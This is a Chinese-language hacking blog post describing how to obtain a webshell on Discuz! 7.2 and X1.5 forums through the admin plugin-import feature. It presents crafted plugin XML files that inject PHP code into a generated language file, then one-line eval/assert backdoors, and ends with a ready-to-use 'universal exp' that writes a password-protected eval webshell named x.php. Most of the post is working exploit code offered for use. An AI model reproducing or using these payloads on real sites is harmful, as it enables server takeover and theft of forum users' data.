这是在没有ucenter和manyou插件 漏洞 并且不是创始人的情况下的. 6.0和7.0就不说了. 直接开始吧, 先说7.2. 在那篇文章最后说'如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.' 我尝试了很久都无效, 就找了个7.2的后台试验了一下. 方法是插件处添加xml文件. 这段代码是7.2和1.5通用的.
<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="Title"><![CDATA[Discuz! Plugin]]></item> <item id="Version"><![CDATA[7.2]]></item> <item id="Time"><![CDATA[2011-03-16 15:57]]></item> <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item> <item id="Data"> <item id="plugin"> <item id="available"><![CDATA[0]]></item> <item id="adminid"><![CDATA[0]]></item> <item id="name"><![CDATA[www]]></item> <item id="identifier"><![CDATA[shell]]></item> <item id="description"><![CDATA[]]></item> <item id="datatables"><![CDATA[]]></item> <item id="directory"><![CDATA[]]></item> <item id="copyright"><![CDATA[]]></item> <item id="modules"><![CDATA[a:0:{}]]></item> <item id="version"><![CDATA[]]></item> </item> <item id="version"><![CDATA[7.2]]></item> <item id="language"> <item id="scriptlang"> <item id="a"><![CDATA[b]]></item> <item id=");phpinfo();?>"><![CDATA[x]]></item> </item> </item> </item> </root> 上传后在forumdataplugins文件夹下生成shell.lang.php文件. 内容如下: <?php $scriptlang['shell'] = array( 'a' => 'b', ');phpinfo();?>' => 'x', ); ?> 看到了, ;phpinfo();?> 写出来了, 配上头文件就语句正常. 访问shell.lang.php正常显示phpinfo, 既然能写出来,就说明肯定能获得shell的. 那尝试直接写入一句话. 直接把;phpinfo();?>替换为 ;@eval($_POST['adm1n']);?>试试. 上传后结果如下: 看到'', 明白肯定是被替换添加了. 打开源文件看: <?php $scriptlang['shell'] = array( 'a' => '=>1);@eval($_POST['admin163']);?>")?>', ); ?> 单引号前被添加了, 就无效了. 那就换个无单引号的试试. 用这条 < ?php ($_=@$_GET[admin163]).@$_($_POST[org])?> 直接打开文件shell.lang.php, 显示空白. 应该是成功了. 可按照一句话格式输入地址?adm1n=assert显示 ")?>', ); ?> 就是说明闭合生效, 完美运行. 文件源码如下:
<?php $scriptlang['shell'] = array( 'a' => '=>1);($_=@$_GET[admin163]).@$_($_POST[org])?>")?>', ); ?>完美拼凑一个一句话: <?php ($_=@$_GET[adm1n]).@$_($_POST[org])?> 成功连接一句话... ------- 这里说一下.. 好意外.. 怎么变的这么简单了.. 当时我拿的那个站, 这样也不行, 当时还没用其他的dz7.2的站试验, 也没法看源码.. 而且php还是无报错回显的, 完全不知道怎么回事, 更不知道是单引号的问题, 因为我尝试了各种单引号双引号无引号..都不可以.. 尝试创建文件写入一句话也失败. admin163.net微 论坛 免杀问题也考虑过, base64_encode(serialize($a))这个更是各种尝试.. 而本目录既然能生成shell.lang.php文件就说明是可写的, 也不存在不可写问题.. 当时真是想破了脑袋.. 最后是用 <php fputs(fopen("x.php","a"),"a")?>
这样一个字符一个字符写进去的... 可现在.. 这文章都写了这么多了.. 重写麻烦.. 还是发了吧.. ------ 另外1.5同上.. 在来个通用的exp吧.. <?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="Title"><![CDATA[Discuz! Plugin]]></item> <item id="Version"><![CDATA[7.2]]></item> <item id="Time"><![CDATA[2011-03-16 15:57]]></item> <item id="From"><![CDATA[Discuz! Board (http:// HdhCmsTest2cto测试数据 /Discuz_7.2_SC_UTF8/upload/)]]></item> <item id="Data"> <item id="plugin"> <item id="available"><![CDATA[0]]></item> <item id="adminid"><![CDATA[0]]></item> <item id="name"><![CDATA[www]]></item> <item id="identifier"><![CDATA[adm1n]]></item> <item id="description"><![CDATA[]]></item> <item id="datatables"><![CDATA[]]></item> <item id="directory"><![CDATA[]]></item> <item id="copyright"><![CDATA[]]></item> <item id="modules"><![CDATA[a:0:{}]]></item> <item id="version"><![CDATA[]]></item> </item> <item id="version"><![CDATA[7.2]]></item> <item id="language"> <item id="scriptlang"> <itemid="a"><![CDATA[=>1);fputs(fopen("x.php","w"),"<?eval($_POST[f4ck]);?>]]></item> </item> </item> </item> </root> 直接传这个插件里, 然后直接打开 forumdata/plugins/adm1n.lang.php 文件就会在本目录下生成一个密码为f4ck的一句话木马x.php 就这样吧.. 尴尬.. 等在想想题材吧..
查看更多关于dz7.2&1.5后台拿shell[无ucenter非创始人] - 网站安的详细内容...